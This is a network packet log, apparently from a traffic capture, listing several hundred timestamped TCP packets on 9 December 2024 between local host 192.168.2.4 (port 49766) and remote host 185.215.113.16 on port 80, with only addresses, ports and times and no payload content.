Dec 9, 2024 20:27:45.655917883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.657115936 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.657160997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.657241106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.657286882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.658464909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.658509970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.658657074 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.658704042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.659859896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.659908056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.659959078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.660001993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.661168098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.661216974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.661220074 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.661253929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.662619114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.662681103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.662741899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.662784100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.663954973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.664004087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.664165974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.664212942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.665189028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.665236950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.778780937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.778870106 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.778944016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.778991938 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.779181004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.779230118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.779239893 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.779275894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.780380964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.780431986 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.780499935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.780551910 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.781474113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.781524897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.781584978 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.781629086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.782607079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.782659054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.782691956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.782737017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.783787012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.783835888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.783837080 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.783873081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.784921885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.784971952 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.784982920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.785022020 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.786010981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.786056042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.786135912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.786180019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.787117958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.787167072 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.787201881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.787254095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.788184881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.788235903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.788305998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.788348913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.789243937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.789294958 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.789304018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.789344072 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.790314913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.790365934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.790430069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.790481091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.791475058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.791527033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.791610003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.791657925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.792509079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.792562962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.792593002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.792648077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.793622971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.793669939 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.793746948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.793792963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.794658899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.794704914 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.794727087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.794770002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.795753002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.795804024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.795841932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.795888901 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.796833992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.796888113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.796926022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.796969891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.797921896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.797974110 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.798038006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.798085928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.799005985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.799057007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.799202919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.799245119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.800137043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.800184011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.800215006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.800256968 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.801151991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.801202059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.801237106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.801287889 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.802226067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.802275896 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.802396059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.802439928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.803328991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.803380966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.803467989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.803515911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.804380894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.804425001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.804506063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.804552078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.805531979 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.805545092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.805584908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.806776047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.806828976 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.806853056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.806891918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.807646036 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.807696104 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.807729959 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.807777882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.808748007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.808799982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.808836937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.808881044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.809842110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.809890032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.809911013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.809951067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.810910940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.810956955 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.810996056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.811038017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.812026024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.812076092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.812151909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.812200069 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.813056946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.813127041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.813157082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.813198090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.814178944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.814230919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.814269066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.814315081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.815273046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.815330982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.815335035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.815370083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.816313028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.816370964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.816541910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.816596985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.817456007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.817506075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.817584038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.817634106 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.818540096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.818587065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.818772078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.818819046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.819658041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.819711924 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.819732904 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.819781065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.820677042 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.820724010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.820732117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.820765018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.821707964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.821760893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.821837902 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.821886063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.822804928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.822851896 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.822957039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.823002100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.823954105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.824003935 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.824058056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.824101925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.825025082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.825054884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.825078964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.825098038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.826061010 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.826116085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.826148987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.826190948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.827179909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.827231884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.827270985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.827326059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.828280926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.828336954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.828514099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.828569889 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.829356909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.829412937 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.829472065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.829514980 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.830389977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.830440998 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.830467939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.830503941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.831535101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.831584930 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.831655979 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.831703901 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.832632065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.832681894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.832684040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.832720041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.833662987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.833717108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.833749056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.833795071 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.834783077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.834835052 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.834841013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.834878922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.835800886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.835853100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.970480919 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.970556974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.970606089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.970649958 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.970854998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.970904112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.971005917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.971055984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.971905947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.971957922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.972026110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.972069025 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.972943068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.972997904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.973114014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.973164082 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.974071980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.974124908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.974148989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.974162102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.975095034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.975151062 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.975210905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.975258112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.976202965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.976253986 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.976294994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.976342916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.977313995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.977363110 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.977417946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.977478027 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.978529930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.978542089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.978573084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.978591919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.979468107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.979522943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.979593039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.979639053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.980545998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.980600119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.980613947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.980654955 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.981628895 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.981681108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.981762886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.981812000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.982705116 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.982755899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.982809067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.982853889 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.983793020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.983840942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.983865976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.983905077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.984889030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.984978914 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.985057116 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.985102892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.985945940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.985991001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.986016035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.986056089 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.987065077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.987119913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.987123013 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.987159967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.988177061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.988238096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.988306999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.988358021 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.989171028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.989223003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.989295006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.989340067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.990287066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.990338087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.990416050 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.990459919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.991370916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.991420031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.991493940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.991542101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.992558002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.992604017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.992768049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.992815971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.993561983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.993618011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.993654013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.993691921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.994592905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.994652987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.994729996 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.994771957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.995822906 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.995877028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:45.995878935 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:45.995910883 CET	49766	80	192.168.2.4	185.215.113.16
